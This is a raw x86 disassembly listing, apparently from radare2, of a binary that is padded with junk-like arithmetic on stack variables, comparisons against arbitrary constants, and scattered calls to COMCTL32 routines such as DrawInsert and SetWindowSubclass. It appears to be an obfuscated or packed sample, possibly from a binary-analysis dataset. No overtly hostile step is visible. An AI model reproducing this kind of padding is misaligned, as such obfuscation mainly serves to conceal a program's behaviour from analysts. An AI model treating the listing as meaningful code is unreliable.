mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x194c]
or edx, eax
mov ecx, dword [ebp - 0x739c]
mov word [ecx], dx
mov edx, dword [ebp - 0x8f34]
mov ecx, dword [section..data]
shl edx, cl
mov eax, dword [0x4aab7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
and edx, dword [ebp - 0x6bec]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x2c54]
sub ecx, edx
mov word [ebp - 0x1b5c], cx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x6d44]
mov byte [edx], cl
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x6510]
add eax, dword [ebp - 0x3234]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x2a9c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [0x4aab7c]
mov eax, dword [edx]
add eax, dword [ebp - 0x8f34]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a55]
sub edx, eax
mov byte [ebp - 0x2421], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x8f34]
mov eax, dword [0x4aab7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6510]
xor edx, dword [ebp - 0x81c]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov edx, dword [ebp - 0x5814]
mov ecx, dword [ebp - 0x8f34]
shr edx, cl
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
jmp 0x4083cb
cmp dword [ebp - 0x5e0], 0x6202
jae 0x408b3a
mov ecx, dword [ebp - 0x4e20]
or ecx, dword [ebp - 0x3234]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6510]
and eax, dword [ebp - 0x6894]
mov dword [ebp - 0x3234], eax
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
sub edx, eax
mov ecx, dword [ebp - 0x1868]
mov byte [ecx], dl
movsx edx, word [ebp - 0x194c]
movsx eax, word [ebp - 0xadc0]
add edx, eax
mov ecx, dword [ebp - 0x739c]
mov word [ecx], dx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x8919], al
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x8f34]
and ecx, dword [eax]
mov dword [ebp - 0x5814], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3234]
mov ecx, dword [ebp - 0x6074]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x8bc0]
mov byte [eax], dl
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x6c90]
add edx, eax
mov ecx, dword [ebp - 0xd4]
mov word [ecx], dx
mov edx, dword [ebp - 0x9708]
add edx, dword [ebp - 0x5814]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xcc0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0xa4bc]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x739c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x194c]
sar eax, cl
mov word [0x4ab2bc], ax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x911], dl
mov edx, dword [ebp - 0x4e20]
add edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x73a8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
add edx, dword [eax]
mov dword [ebp - 0x4e20], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
sub edx, eax
mov ecx, dword [ebp - 0x1868]
mov byte [ecx], dl
movsx edx, word [ebp - 0xadc0]
movsx eax, word [0x4ab2bc]
sub edx, eax
mov ecx, dword [ebp - 0x739c]
mov word [ecx], dx
movzx edx, byte [ebp - 0x8919]
movzx eax, byte [ebp - 0x2421]
add edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x2c54]
movzx eax, word [ebp - 0x1b5c]
and edx, eax
mov ecx, dword [ebp - 0xd4]
mov word [ecx], dx
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x5814], ecx
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5e0]
add eax, 0x6c
mov dword [ebp - 0x5e0], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
add edx, dword [eax]
mov ecx, dword [ebp - 0x6074]
mov dword [ecx], edx
mov edx, dword [ebp - 0x73a8]
mov eax, dword [ebp - 0x3234]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6074]
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x4a55], al
movzx eax, word [ebp - 0x2c54]
movzx ecx, word [ebp - 0x1b5c]
shl eax, cl
mov ecx, dword [ebp - 0xd4]
mov word [ecx], ax
mov edx, dword [ebp - 0xa4bc]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
add edx, dword [eax]
mov dword [ebp - 0x9708], edx
mov ecx, dword [ebp - 0xa4bc]
add ecx, dword [section..data]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x4a55]
sub eax, ecx
mov edx, dword [ebp - 0x6d44]
mov byte [edx], al
movsx eax, word [ebp - 0xadc0]
movsx ecx, word [0x4ab2bc]
add eax, ecx
mov word [ebp - 0x194c], ax
mov edx, dword [ebp - 0x1868]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
and eax, ecx
mov byte [ebp - 0x2b89], al
jmp 0x4087bc
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0x9708]
sub eax, dword [edx]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2a9c]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x2c54]
movzx edx, word [ebp - 0x1b5c]
xor ecx, edx
mov eax, dword [ebp - 0xd4]
mov word [eax], cx
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x911], dl
mov edx, dword [ebp - 0x6bec]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov dword [ebp - 0x7048], edx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5020]
add ecx, dword [edx]
mov eax, dword [0x4aab7c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7048]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ebp - 0x6bec]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x6c90]
add edx, eax
mov word [ebp - 0xb2cc], dx
mov ecx, dword [ebp - 0x6d44]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a55]
add edx, eax
mov byte [ebp - 0x8919], dl
mov ecx, dword [ebp - 0x6b1c]
sub ecx, 0x1c
mov dword [ebp - 0x6b1c], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0x5814]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6074]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
add eax, dword [ecx]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], eax
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0xa4bc]
mov eax, dword [0x4aab7c]
mov dword [eax], edx
movsx edx, byte [ebp - 0x2b89]
mov eax, dword [ebp - 0x1868]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x5f9d], dl
cmp dword [ebp - 0x6b1c], 0x169f
ja 0x408b64
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
mov dword [ebp - 0xb6c4], edx
cmp dword [ebp - 0xb6c4], 0
je 0x408d6e
cmp dword [ebp - 0xb6c4], 0x65a
je 0x408cf2
jmp 0x408dea
mov eax, dword [ebp - 0x776c]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x79f0], eax
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xadc0]
shl edx, cl
mov eax, dword [ebp - 0x739c]
mov word [eax], dx
push 0x3a
mov ecx, dword [ebp - 0x4768]
push ecx
mov edx, dword [ebp - 0x5b08]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
xor ecx, edx
mov byte [ebp - 0x911], cl
movzx eax, byte [ebp - 0x727d]
push eax
movzx ecx, byte [ebp - 0x8919]
push ecx
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
push eax
call fcn.00401820
jmp 0x408dea
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
mov dword [ebp - 0xb6c8], edx
cmp dword [ebp - 0xb6c8], 0
je 0x408d94
cmp dword [ebp - 0xb6c8], 0x3ce
je 0x408dd2
jmp 0x408dea
mov ax, word [ebp - 0x6c90]
mov word [ebp - 0x7658], ax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0xa4bc]
or edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
mov dword [ebp - 0x23a8], ecx
lea edx, [ebp - 0x7658]
mov dword [ebp - 0x8404], edx
jmp 0x408dea
movzx eax, byte [ebp - 0x8919]
movzx ecx, byte [ebp - 0x911]
add eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xd4]
movzx eax, word [edx]
sub ecx, eax
mov word [str._b__ayh], cx
mov ecx, dword [ebp - 0x2a9c]
and ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x2b89]
movsx ecx, byte [ebp - 0x5f9d]
add eax, ecx
mov edx, dword [ebp - 0xb520]
movsx ecx, byte [edx]
mov edx, dword [ebp - 0x1868]
movsx edx, byte [edx]
add ecx, edx
cmp eax, ecx
jle 0x408e61
movzx eax, word [ebp - 0x7658]
mov ecx, dword [ebp - 0x8404]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0xd4]
mov word [edx], ax
jmp 0x49ec68
movzx eax, byte [ebp - 0x8919]
movzx ecx, byte [ebp - 0x911]
and eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
mov edx, dword [0x4aab7c]
add ecx, dword [edx]
mov dword [ebp - 0xa4bc], ecx
mov eax, dword [ebp - 0x73a8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6bec]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [0x4aab7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1868]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x5f9d], dl
movzx edx, word [ebp - 0x7658]
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xd4]
mov word [eax], dx
movzx ecx, byte [ebp - 0x911]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x8919], cl
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x9708]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xcc0]
sub ecx, dword [ebp - 0x2a9c]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x6894]
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x8f34]
mov ecx, dword [ebp - 0x23a8]
shr edx, cl
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov edx, dword [ebp - 0x7048]
mov ecx, dword [ebp - 0x4e20]
shl edx, cl
mov dword [ebp - 0x3234], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x9708]
xor ecx, dword [eax]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x9cdc]
sub eax, 0xdc
mov dword [ebp - 0x9cdc], eax
movzx ecx, byte [ebp - 0x4a55]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x8919], cl
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x4e20]
sub edx, dword [ecx]
mov dword [ebp - 0x7048], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov dword [ebp - 0x5814], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
add eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x81c]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1b5c]
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xd4]
mov word [eax], dx
movzx ecx, byte [ebp - 0x8919]
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x911], cl
movsx ecx, word [ebp - 0xadc0]
movsx edx, word [0x4ab2bc]
add ecx, edx
mov eax, dword [ebp - 0x739c]
mov word [eax], cx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x23a8]
mov eax, dword [0x4aab7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
add edx, dword [eax]
mov dword [ebp - 0x4c18], edx
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x2421], dl
movzx edx, word [ebp - 0x2c54]
movzx eax, word [ebp - 0xb2cc]
xor edx, eax
mov ecx, dword [ebp - 0xd4]
mov word [ecx], dx
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x23a8]
shr eax, cl
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x6510]
and eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6074]
mov eax, dword [ebp - 0x6510]
sub eax, dword [edx]
mov dword [ebp - 0x7048], eax
cmp dword [ebp - 0x9cdc], 0x497f
jae 0x408e61
mov ecx, dword [ebp - 0x9708]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [section..data]
sub edx, dword [ebp - 0x5814]
cmp ecx, edx
je 0x4091ca
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
mov dword [ebp - 0xb6cc], ecx
cmp dword [ebp - 0xb6cc], 0x31c
je 0x409161
cmp dword [ebp - 0xb6cc], 0x93a
je 0x4091ac
jmp 0x4091ca
lea edx, [ebp - 0x5020]
push edx
push fcn.0049f890
mov eax, dword [ebp - 0x4400]
push eax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x9af8], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [section..data]
add edx, dword [ecx]
mov eax, dword [0x4aab7c]
mov dword [eax], edx
jmp 0x4091ca
lea ecx, [ebp - 0xa118]
push ecx
push fcn.0049fde0
mov edx, dword [ebp - 0x4768]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x9b0], eax
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1b5c]
and ecx, edx
movzx eax, word [ebp - 0x2c54]
movzx edx, word [ebp - 0xb2cc]
add eax, edx
cmp ecx, eax
jne 0x40920c
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xb520]
movzx eax, byte [edx]
push eax
call fcn.0049f890
add esp, 8
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
sub edx, eax
movsx ecx, byte [ebp - 0x5f9d]
movsx eax, byte [ebp - 0x2b89]
add ecx, eax
cmp edx, ecx
jl 0x49ebcd
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
add edx, dword [eax]
mov ecx, dword [ebp - 0xa4bc]
sub ecx, dword [ebp - 0x23a8]
cmp edx, ecx
jbe 0x409276
movzx edx, byte [ebp - 0x5f9d]
push edx
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xa4bc]
push edx
call fcn.00401820
jmp 0x4092c8
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
add ecx, eax
movzx edx, word [ebp - 0x7658]
movzx eax, word [ebp - 0x6c90]
sub edx, eax
cmp ecx, edx
jne 0x4092c8
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5814]
mov dword [ebp - 0x8f34], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x73a8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6074]
add ecx, dword [eax]
cmp edx, ecx
jl 0x49eb7e
movsx ecx, word [ebp - 0xadc0]
mov dword [ebp - 0xb6d0], ecx
cmp dword [ebp - 0xb6d0], 0
je 0x40941f
cmp dword [ebp - 0xb6d0], 0x1d8
je 0x40931b
jmp 0x49ead4
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x6074]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
movsx eax, word [ebp - 0x194c]
mov dword [ebp - 0xb6d4], eax
cmp dword [ebp - 0xb6d4], 0x2bd
je 0x40934e
jmp 0x409350
jmp 0x40936a
movzx ecx, byte [ebp - 0x4a55]
push ecx
mov edx, dword [ebp - 0x1868]
movzx eax, byte [edx]
push eax
call fcn.0049f890
add esp, 8
movsx ecx, byte [ebp - 0x5f9d]
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1868]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x2b89]
sub eax, edx
cmp ecx, eax
jg 0x40941a
push 0x15
mov eax, dword [ebp - 0xa880]
push eax
mov ecx, dword [ebp - 0xa880]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0xd4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x8404]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x7658], ax
mov eax, dword [ebp - 0x6d44]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov eax, dword [ebp - 0x8bc0]
mov byte [eax], cl
lea ecx, [ebp - 0x1104]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6b58], eax
mov edx, dword [ebp - 0x9708]
sub edx, dword [ebp - 0x8f34]
mov dword [ebp - 0x5814], edx
mov eax, dword [ebp - 0x3234]
add eax, dword [ebp - 0x81c]
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], eax
jmp 0x49ead4
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
and eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x6074]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x2b89]
mov eax, dword [ebp - 0x1868]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x4a9006], dl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov dword [ebp - 0x941c], edx
movzx eax, word [ebp - 0x2c54]
movzx ecx, word [ebp - 0x1b5c]
shl eax, cl
mov word [ebp - 0xb2cc], ax
lea ecx, [ebp - 0x2421]
mov dword [ebp - 0x4730], ecx
movzx ecx, word [ebp - 0x7658]
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
xor ecx, eax
movzx eax, word [ebp - 0xb2cc]
mov edx, dword [ebp - 0xd4]
movzx esi, word [edx]
cdq
idiv esi
cmp ecx, eax
jge 0x409567
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x73a8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
lea edx, [ebp - 0x5f9d]
mov dword [ebp - 0x484], edx
mov eax, dword [ebp - 0x739c]
mov cx, word [eax]
mov word [ebp - 0xa44], cx
mov edx, dword [ebp - 0x6b58]
mov dword [ebp - 0xb6d8], edx
cmp dword [ebp - 0xb6d8], 0x8a1
je 0x409511
jmp 0x409567
push 0xde
lea eax, [ebp - 0x8404]
push eax
push fcn.00401820
mov ecx, dword [ebp - 0xaebc]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x8098], eax
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x6d44]
mov byte [eax], dl
movzx ecx, word [ebp - 0xb2cc]
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
and ecx, eax
mov word [str._b__ayh], cx
lea ecx, [ebp - 0x4c18]
mov dword [ebp - 0x9f1c], ecx
mov edx, dword [ebp - 0x8f34]
add edx, dword [ebp - 0x23a8]
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0xb520]
mov cl, byte [eax]
mov byte [ebp - 0xb6dc], cl
cmp byte [ebp - 0xb6dc], 0
je 0x4095ae
cmp byte [ebp - 0xb6dc], 0xa
je 0x49ea82
jmp 0x49ea99
lea edx, [ebp - 0x4e20]
mov dword [ebp - 0x7e70], edx
mov eax, dword [ebp - 0x6074]
mov ecx, dword [ebp - 0x7048]
add ecx, dword [eax]
mov dword [ebp - 0x3234], ecx
lea edx, [ebp - 0x4a55]
mov dword [ebp - 0x9dd8], edx
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1b5c]
add ecx, edx
mov word [ebp - 0x2c54], cx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x9f1c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov cl, byte [ebp - 0x2b89]
mov byte [ebp - 0xb6e0], cl
cmp byte [ebp - 0xb6e0], 0
je 0x409697
cmp byte [ebp - 0xb6e0], 0x1e
je 0x40962e
jmp 0x49ea3c
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
add eax, dword [ebp - 0x941c]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4730]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x8919], al
push 0xa6
mov eax, dword [ebp - 0x67b0]
push eax
mov ecx, dword [ebp - 0xf6c]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x7658]
xor eax, ecx
mov edx, dword [ebp - 0x8404]
mov word [edx], ax
jmp 0x49ea3c
mov dword [ebp - 0xe04], 0x4ab2bc
movsx eax, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x5f9d]
sar eax, cl
movsx edx, byte [ebp - 0x2b89]
movsx ecx, byte [0x4a9006]
shl edx, cl
cmp eax, edx
jg 0x4097e5
lea eax, [ebp - 0x727d]
mov dword [ebp - 0x8d74], eax
mov cl, byte [ebp - 0x2421]
mov byte [ebp - 0xb6e4], cl
cmp byte [ebp - 0xb6e4], 0
je 0x4096fc
cmp byte [ebp - 0xb6e4], 0x40
je 0x409784
jmp 0x4097e0
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5814]
mov dword [ebp - 0x8f34], eax
movsx ecx, word [ebp - 0xadc0]
mov dword [ebp - 0xb6e8], ecx
cmp dword [ebp - 0xb6e8], 0
je 0x409728
jmp 0x409769
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov dword [ebp - 0xb6ec], eax
cmp dword [ebp - 0xb6ec], 0x501a
je 0x409744
jmp 0x409767
mov ecx, dword [ebp - 0x6894]
and ecx, dword [ebp - 0x3234]
mov dword [ebp - 0x2a9c], ecx
mov edx, dword [ebp - 0x1b5c]
mov ecx, dword [ebp - 0x6c90]
call section..text
jmp 0x409782
movzx edx, word [str._b__ayh]
movzx eax, word [ebp - 0x6c90]
sub edx, eax
mov ecx, dword [ebp - 0x8404]
mov word [ecx], dx
jmp 0x4097e0
